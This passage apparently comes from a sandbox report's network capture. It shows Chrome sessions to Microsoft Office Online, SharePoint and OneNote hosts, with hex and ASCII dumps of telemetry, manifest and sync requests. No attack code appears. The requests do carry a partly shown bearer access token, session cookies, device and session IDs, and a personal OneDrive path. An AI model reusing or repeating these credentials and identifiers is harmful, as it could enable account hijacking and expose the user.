WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:07:55 UTC	186	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 37 33 35 35 33 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 39 35 39 35 37 38 34 33 2c 22 54 22 3a 30 2c 22 4d 22 3a 22 50 61 67 65 20 6c 69 66 65 63 79 63 6c 65 3a 20 56 69 73 69 62 69 6c 69 74 79 43 68 61 6e 67 65 5f 68 69 64 64 65 6e 20 66 69 72 65 64 2c 20 66 6c 75 73 68 69 6e 67 20 6c 6f 67 67 65 72 22 2c 22 43 22 3a 33 37 39 2c 22 44 22 3a 35 30 7d 5d 2c 22 53 22 3a 22 35 65 64 33 32 35 38 38 2d 37 36 32 33 2d 33 37 37 64 2d 39 30 35 63 2d 66 30 30 30 33 39 35 30 64 30 35 66 22 2c 22 49 22 3a 38 2c 22 56 22 3a 31 7d Data Ascii: {"T":1721128073553,"L":[{"G":595957843,"T":0,"M":"Page lifecycle: VisibilityChange_hidden fired, flushing logger","C":379,"D":50}],"S":"5ed32588-7623-377d-905c-f0003950d05f","I":8,"V":1}
2024-07-16 11:07:55 UTC	4579	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 65b2a191-87ea-4004-a27a-1a88f1b98732 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011804 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] nel: {"report_to":"network-errors","max_age":604800,"include_subdomains":true,"success_fraction":0.01,"failure_fraction":1.0} report-to: {"group":"network-errors","max_age":604800,"endpoints":[{"url":"https://onenoteonline.nel.measure.office.net/api/report?FrontEnd=AFD&DestinationEndpoint=Edge-Prod-BL2r8a&DC=&FileSource="}]} X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011804 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: 7283107499AB420298B62150B8921D39 Ref B: BL2AA2010203023 Ref C: 2024-07-16T11:07:55Z Date: Tue, 16 Jul 2024 11:07:55 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
102	192.168.2.5	50091	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:07:56 UTC	811	OUT	POST /suite/RemoteUls.ashx?usid=5ed32588-7623-377d-905c-f0003950d05f&officeserverversion= HTTP/1.1 Host: euc-common.online.office.com Connection: keep-alive Content-Length: 885 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-platform: "Windows" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: text/plain;charset=UTF-8 Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: GEU7-ARRAffinity=43d65693bff91fda4ceb9aa7189aaf78626961663672df092e7754ce9629f4fe
2024-07-16 11:07:56 UTC	885	OUT	Data Raw: 7b 22 54 22 3a 31 37 32 31 31 32 38 30 34 33 35 39 34 2c 22 4c 22 3a 5b 7b 22 47 22 3a 35 30 37 33 32 36 38 36 31 2c 22 54 22 3a 31 33 39 35 30 2c 22 4d 22 3a 22 46 65 74 63 68 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 20 4f 6e 65 4e 6f 74 65 20 69 6e 20 4d 53 49 54 20 77 69 74 68 20 65 78 70 6f 73 75 72 65 20 31 30 20 77 69 74 68 20 72 65 6d 61 69 6e 69 6e 67 20 72 65 74 72 79 20 63 6f 75 6e 74 20 31 2e 22 2c 22 43 22 3a 33 30 32 37 2c 22 44 22 3a 35 30 7d 2c 7b 22 47 22 3a 35 30 37 33 32 36 38 36 30 2c 22 54 22 3a 31 33 39 35 31 2c 22 4d 22 3a 22 50 61 72 73 69 6e 67 20 6d 61 6e 69 66 65 73 74 20 66 72 6f 6d 20 43 44 4e 20 77 61 73 20 73 75 63 63 65 73 73 66 75 6c 20 66 6f 72 Data Ascii: {"T":1721128043594,"L":[{"G":507326861,"T":13950,"M":"Fetching manifest from CDN was successful for OneNote in MSIT with exposure 10 with remaining retry count 1.","C":3027,"D":50},{"G":507326860,"T":13951,"M":"Parsing manifest from CDN was successful for
2024-07-16 11:07:56 UTC	4423	IN	HTTP/1.1 200 OK Cache-Control: private Content-Type: text/plain P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: Set-Cookie: GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996;Path=/;Domain=euc-common.online.office.com; samesite=none; secure; partitioned X-CorrelationId: eb5fa2ff-7c74-473c-977b-10a7fef059a7 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 X-OfficeFE: DU2PEPF00029AAD X-OfficeVersion: 16.0.17910.41010 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true Access-Control-Allow-Origin: https://amdat-my.sharepoint.com Access-Control-Expose-Headers: X-EndSession, X-CorrelationId, X-OfficeFE, X-NewKey, X-bULS-SuppressionETag, X-bULS-SuppressedTags Cross-Origin-Resource-Policy: cross-origin X-bULS-SuppressionETag: 0D2FB038748FD7F15682069D0E94E4BE713F6F45 X-bULS-SuppressedTags: 378069,1671813,2208151,2209344,3249545,3290144,4273285,4285850,4298965,4298968,4298969,4751696,5018275,5306497,5904476,6375195,6572226,6948167,7463498,8194017,8458642,17044289,17085210,17085216,17162522,17358857,17387682,19214611,19707039,19743902,19939648,20486158,21627712,21631370,22401293,22410500,22558617,22558879,22598977,22680210,22680213,22680214,22836558,22922182,22946650,23881934,23909858,24133723,24401375,24462656,24515087,25514973,25531993,33592839,34388130,35682372,36472266,36546380,36546381,36546382,36569418,36708451,36773964,36791688,36811158,36811159,36963655,37259477,37288035,37307491,37754499,37856259,37876293,37876294,37889309,38293640,38535900,38543496,38580697,38637954,38922202,39076766,39076767,39105358,39408129,39613840,39966341,40437001,40777251,40935455,40957978,40957979,41003225,41207258,41473876,41502555,41711299,41952657,41964821,41964885,42272991,42496725,42513088,42815875,42857251,50406866,50431969,50622685,51451613,51504083,51667010,84165957,306230939,30697 [TRUNCATED] X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF000195C6 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest X-MSEdge-Features: afd_waccluster,afd_excelslice_control,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest X-MSEdge-Ref: Ref A: A58591249765486CA763C8F5619E5F25 Ref B: EWR311000107047 Ref C: 2024-07-16T11:07:56Z Date: Tue, 16 Jul 2024 11:07:56 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
103	192.168.2.5	50103	52.108.8.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:06 UTC	3572	OUT	POST /o/OneNote.ashx?perfTag=GetChanges_2 HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive Content-Length: 5365 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" X-ServerSideRendering: RenderingFull X-WacFrontEnd: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-Key: t/ISjT+shfkeAOTZkqEdojcTLfAeU4PnRUQRan5c91c=;DOqqcDz/2J80pgnNxU7yv8D6WrAB+Id46HGPnmnMXIM=,638567248150062543 X-WacUserAgent: MSWACONSync X-Requested-With: XMLHttpRequest X-xhr: 1 sec-ch-ua-platform: "Windows" haep: 3 X-AccessToken: eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiIsIng1dCI6IkRhREFmalFRbXB5T1h4MlJyS19XNWx2b0xaNCJ9.eyJhdWQiOiJ3b3BpL2FtZGF0LW15LnNoYXJlcG9pbnQuY29tQGNjZGM0ZWJlLTE4ODgtNDk5Yi05ZTczLWJiYmQ1NjAxNzllZCIsImlzcyI6IjAwMDAwMDAzLTAwMDAtMGZmMS1jZTAwLTAwMDAwMDAwMDAwMEA5MDE0MDEyMi04NTE2LTExZTEtOGVmZi00OTMwNDkyNDAxOWIiLCJuYmYiOiIxNzIxMTI4MDEyIiwiZXhwIjoiMTcyMTE2NDAxMiIsIm5hbWVpZCI6IjAjLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJuaWkiOiJtaWNyb3NvZnQuc2hhcmVwb2ludCIsImlzdXNlciI6InRydWUiLCJjYWNoZWtleSI6IjBoLmZ8bWVtYmVyc2hpcHx1cm4lM2FzcG8lM2Fhbm9uIzEyYmViMzBiMWFjNDJjODg3OGZlZWI1ZmZlY2NlMWNiMTJhMzkwMzkxOGJhYzBmMjAzMGU5ZWQzMTM1ZWFkYzciLCJzaGFyaW5naWQiOiJwQVoyRnNMaFBVbXZBVHNSZnowUFZRIiwiaXNsb29wYmFjayI6IlRydWUiLCJhcHBjdHgiOiI1ZWVjZjI4MDMzMzQ0NzZmOGY1MjI4ODZkNDM4OTA4NDtNTUlvZFR1azJ4WnA0U0xSMlJUN3FPR3EzbE09O0RlZmF1bHQ7MWFiM2VkNGUwMTQwNGE2Yzg5YzY2N2Y5ZTViYWVmZTc7O1RydWU7Ozs1MTI7NjJkNjNjYTEtMjAyOS05MDAwLTdlNGItMWMxNDBlZjM1MDI1IiwiZmlkIjoiMTg5OTIw [TRUNCATED] X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f X-AccessTokenTtl: 1721164012481 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Type: application/json; charset=UTF-8 X-UserType: WOPI X-IsCoauthSession: true X-WacCluster: GEU3 Accept: / Origin: https://euc-onenote.officeapps.live.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://euc-onenote.officeapps.live.com/o/onenoteframe.aspx?ui=en-US&rs=de-DE&wopisrc=https%3A%2F%2Famdat-my.sharepoint.com%2Fpersonal%2Fmai_amd_at%2F_vti_bin%2Fwopi.ashx%2Ffolders%2F5eecf2803334476f8f522886d4389084&wdenableroaming=1&mscc=1&wdodb=1&hid=62D63CA1-2029-9000-7E4B-1C140EF35025.0&uih=sharepointcom&wdlcid=en-US&dchat=1&sc=%7B%22pmo%22%3A%22https%3A%2F%2Famdat-my.sharepoint.com%22%2C%22pmshare%22%3Atrue%7D&wdorigin=Sharing.ClientRedirect&wdhostclicktime=1721128010390&jsapi=1&jsapiver=v1&newsession=1&corrid=5ed32588-7623-377d-905c-f0003950d05f&usid=5ed32588-7623-377d-905c-f0003950d05f&sftc=1&sams=1&cac=1&mtf=1&sfp=1&hch=1&hwfh=1&uihit=docaspx&muv=1&wdredirectionreason=Force_SingleStepBoot&rct=Normal&ctp=LeastProtected Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: BIGipCookie=000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000; PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=427151a1bb5194f6ee28fc34ee6b87dc860f0de780812c674ff314cecd665996; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:08:06 UTC	5365	OUT	Data Raw: 7b 22 4d 6f 64 65 22 3a 31 2c 22 73 72 73 22 3a 5b 5b 32 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 44 65 70 65 6e 64 65 6e 74 4f 6e 22 3a 30 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 53 65 73 73 69 6f 6e 49 64 22 3a 6e 75 6c 6c 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 4d 61 63 68 69 6e 65 49 64 22 3a 6e 75 6c 6c 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 43 6c 75 73 74 65 72 49 64 22 3a 6e 75 6c 6c 2c 22 4c 6f 63 61 6c 43 6f 62 61 6c 74 53 65 73 73 69 6f 6e 48 61 73 42 61 63 6b 75 70 22 3a 66 61 6c 73 65 2c 22 57 61 63 69 69 45 6e 61 62 6c 65 64 52 65 71 75 65 73 74 73 22 3a 30 2c 22 53 65 74 74 69 6e 67 73 52 6f 75 74 65 64 54 6f 53 65 72 76 65 72 22 3a 30 2c 22 4c 69 6e 65 61 67 65 49 64 22 3a 6e 75 6c 6c 2c 22 46 69 6c 65 49 64 22 3a 22 57 4f 50 Data Ascii: {"Mode":1,"srs":[[2,{"OperationId":1,"DependentOn":0,"LocalCobaltSessionId":null,"LocalCobaltMachineId":null,"LocalCobaltClusterId":null,"LocalCobaltSessionHasBackup":false,"WaciiEnabledRequests":0,"SettingsRoutedToServer":0,"LineageId":null,"FileId":"WOP
2024-07-16 11:08:06 UTC	1367	IN	HTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Length: 430 Content-Type: application/json; charset=utf-8 Expires: -1 P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-ROUTED-TO-TARGET-SERVER-PATH: WAC_WFE_AFFINITY_TARGET_URL X-CorrelationId: adffa00c-1bd2-4618-a98d-06d4ba1a0a96 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-CorrelationId: adffa00c-1bd2-4618-a98d-06d4ba1a0a96 X-UserSessionId: 5ed32588-7623-377d-905c-f0003950d05f Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DU2PEPF0001783E X-OfficeVersion: 16.0.17903.41012 X-OfficeCluster: GEU3 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DU2PEPF00017832 X-WacFrontEnd: DU2PEPF0001783E X-Powered-By: ARR/3.0 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 16DA65339A3649FA904DC30C8D3E9A15 Ref B: EWR311000107021 Ref C: 2024-07-16T11:08:06Z Date: Tue, 16 Jul 2024 11:08:06 GMT Connection: close
2024-07-16 11:08:06 UTC	430	IN	Data Raw: ef bb bf 7b 22 52 65 73 70 6f 6e 73 65 73 22 3a 5b 5b 32 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 31 2c 22 53 74 61 74 75 73 43 6f 64 65 22 3a 30 2c 22 52 61 77 43 65 6c 6c 53 74 6f 72 61 67 65 45 72 72 6f 72 43 6f 64 65 22 3a 22 22 2c 22 53 65 72 76 65 72 50 61 67 65 53 74 61 74 73 54 72 61 63 65 22 3a 22 22 2c 22 50 61 72 74 4d 65 72 67 65 49 6e 66 6f 22 3a 30 2c 22 52 6f 6f 74 43 65 6c 6c 49 64 22 3a 22 6e 75 6c 6c 22 2c 22 41 76 61 69 6c 61 62 6c 65 46 69 6c 65 41 63 63 65 73 73 22 3a 31 2c 22 52 65 76 69 73 69 6f 6e 4c 69 73 74 22 3a 5b 5d 2c 22 50 69 6e 52 65 76 69 73 69 6f 6e 46 6f 72 41 75 67 4c 6f 6f 70 52 65 73 70 6f 6e 73 65 22 3a 30 7d 5d 2c 5b 32 2c 7b 22 4f 70 65 72 61 74 69 6f 6e 49 64 22 3a 32 2c 22 53 74 61 74 75 73 43 6f 64 65 22 Data Ascii: {"Responses":[[2,{"OperationId":1,"StatusCode":0,"RawCellStorageErrorCode":"","ServerPageStatsTrace":"","PartMergeInfo":0,"RootCellId":"null","AvailableFileAccess":1,"RevisionList":[],"PinRevisionForAugLoopResponse":0}],[2,{"OperationId":2,"StatusCode"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
104	192.168.2.5	50105	52.108.10.12	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:07 UTC	609	OUT	GET /o/OneNote.ashx?perfTag=GetChanges_2 HTTP/1.1 Host: euc-onenote.officeapps.live.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: PrivNote=-1; WacUPToggleState=%7B%22CCS%22%3A0%7D; GEU3-ARRAffinity=3824fc47b554b2b24869d64641c3fa60d43e388049fd24ee5d1ccfc639d3528c; MicrosoftApplicationsTelemetryDeviceId=5644e5ab-1e44-41ff-b2e3-b52b1cefcfb7
2024-07-16 11:08:08 UTC	1074	IN	HTTP/1.1 503 Service Unavailable Cache-Control: private Transfer-Encoding: chunked Content-Type: text/html P3P: CP="CAO DSP COR ADMa DEV CONi TELi CUR PSA PSD TAI IVDi OUR SAMi BUS DEM NAV STA UNI COM INT PHY ONL FIN PUR" Set-Cookie: X-CorrelationId: 057f6f4a-a74e-40fd-b2cd-cd95ea7330d2 X-UserSessionId: 057f6f4a-a74e-40fd-b2cd-cd95ea7330d2 Strict-Transport-Security: max-age=31536000 Timing-Allow-Origin: * X-OfficeFE: DB5PEPF00011806 X-OfficeVersion: 16.0.17817.41007 X-OfficeCluster: GEU7 X-Partitioning-Enabled: true X-Content-Type-Options: nosniff X-Download-Options: noopen Content-Disposition: attachment X-OFFICEFD: DB5PEPF00011806 X-WacFrontEnd: DB5PEPF00011806 X-Cache: CONFIG_NOCACHE X-MSEdge-Flight: 2i49=afd_wacinfra4,2i4a=afd_wacinfra5,5e4w=afd_excelslicetest_control X-MSEdge-Features: afd_waccluster,afd_visioslice,afd_wacinfra4,afd_wacinfra5,afd_excelslicetest_control X-MSEdge-Ref: Ref A: 6FC93B101CD64BDC9F60FFAB6FA23FD8 Ref B: BL2AA2010204025 Ref C: 2024-07-16T11:08:07Z Date: Tue, 16 Jul 2024 11:08:07 GMT Connection: close
2024-07-16 11:08:08 UTC	33	IN	Data Raw: 31 62 0d 0a 54 68 65 20 73 65 72 76 69 63 65 20 69 73 20 75 6e 61 76 61 69 6c 61 62 6c 65 2e 0d 0a Data Ascii: 1bThe service is unavailable.
2024-07-16 11:08:08 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
105	192.168.2.5	50104	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:07 UTC	641	OUT	GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://amdat-my.sharepoint.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://amdat-my.sharepoint.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:08:08 UTC	1118	IN	HTTP/1.1 200 OK Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 151 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:08:08 GMT Last-Modified: Tue, 16 Jul 2024 11:03:23 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=121760040539624957772582125936191326183"}],"include_subdomains ":true} Server: ECAcc (lhc/789E) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 935c6376-101e-0067-7b70-d778fc000000 Content-Length: 3290 Connection: close
2024-07-16 11:08:08 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 31 30 2e 34 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 30 64 31 66 31 62 31 35 33 64 37 37 31 65 61 38 36 35 39 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 57 4a 62 62 32 36 48 78 63 77 5a 41 64 76 47 41 57 78 54 4e 71 34 67 58 4c 6e 61 58 58 41 47 79 6f 65 55 52 34 4c 4b 4c 63 55 39 61 64 67 62 62 63 4e 7a 63 63 48 51 48 64 36 42 62 50 45 61 55 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 36 61 37 63 32 62 38 36 65 31 63 33 61 61 63 65 38 31 31 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 52 78 65 78 77 30 62 49 64 43 70 2b 4f 58 71 52 57 30 73 44 71 45 73 4f 58 58 45 53 7a 6d 6c 75 2f 4e 56 4c 6e 6f 42 6f 6f 4c 43 Data Ascii: {"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
106	192.168.2.5	50106	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-16 11:08:08 UTC	395	OUT	GET /wise-m/owl/5mttl/production/1/manifest.json HTTP/1.1 Host: wise-m.public.cdn.office.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-07-16 11:08:09 UTC	1140	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Headers: * Access-Control-Allow-Methods: GET,HEAD,OPTIONS Access-Control-Allow-Origin: * Access-Control-Expose-Headers: date,X-Cdn-Provider,X-Ms-Request-Id Age: 152 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Cache-Control: max-age=300 Content-Type: application/json Date: Tue, 16 Jul 2024 11:08:09 GMT Last-Modified: Tue, 16 Jul 2024 11:03:23 GMT NEL: {"report_to":"NelM365CDNUpload1","max_age":604800,"include_subdomains":true,"failure_fraction":1.0,"success_fraction":0.01} Report-To: {"group":"NelM365CDNUpload1","max_age":604800,"endpoints":[{"url":"https://M365CDN.nel.measure.office.net/api/report?FrontEnd=VerizonCDNWorldWide&DestinationEndpoint=New York&ASN=3356&Country=US&Region=NY&RequestIdentifier=630247551734131634017557214590962198165"}],"include_subdomains ":true} Server: ECAcc (lhc/7919) Strict-Transport-Security: max-age=31536000; includeSubDomains Timing-Allow-Origin: * Vary: Accept-Encoding X-Cache: HIT X-CDN-Provider: Verizon x-ms-request-id: 935c6376-101e-0067-7b70-d778fc000000 Content-Length: 3290 Connection: close
2024-07-16 11:08:09 UTC	3290	IN	Data Raw: 7b 22 63 6c 69 65 6e 74 56 65 72 73 69 6f 6e 22 3a 22 32 30 32 34 30 37 31 30 2e 34 22 2c 22 66 69 6c 65 73 22 3a 7b 22 6f 77 6c 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 30 64 31 66 31 62 31 35 33 64 37 37 31 65 61 38 36 35 39 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 57 4a 62 62 32 36 48 78 63 77 5a 41 64 76 47 41 57 78 54 4e 71 34 67 58 4c 6e 61 58 58 41 47 79 6f 65 55 52 34 4c 4b 4c 63 55 39 61 64 67 62 62 63 4e 7a 63 63 48 51 48 64 36 42 62 50 45 61 55 22 5d 2c 22 6f 77 6c 2e 73 6c 69 6d 2e 6a 73 22 3a 5b 22 6f 77 6c 2e 73 6c 69 6d 2e 36 61 37 63 32 62 38 36 65 31 63 33 61 61 63 65 38 31 31 30 2e 6a 73 22 2c 22 73 68 61 33 38 34 2d 52 78 65 78 77 30 62 49 64 43 70 2b 4f 58 71 52 57 30 73 44 71 45 73 4f 58 58 45 53 7a 6d 6c 75 2f 4e 56 4c 6e 6f 42 6f 6f 4c 43 Data Ascii: {"clientVersion":"20240710.4","files":{"owl.js":["owl.0d1f1b153d771ea86590.js","sha384-WJbb26HxcwZAdvGAWxTNq4gXLnaXXAGyoeUR4LKLcU9adgbbcNzccHQHd6BbPEaU"],"owl.slim.js":["owl.slim.6a7c2b86e1c3aace8110.js","sha384-Rxexw0bIdCp+OXqRW0sDqEsOXXESzmlu/NVLnoBooLC

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.5	50107	152.199.21.175	443	6692	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
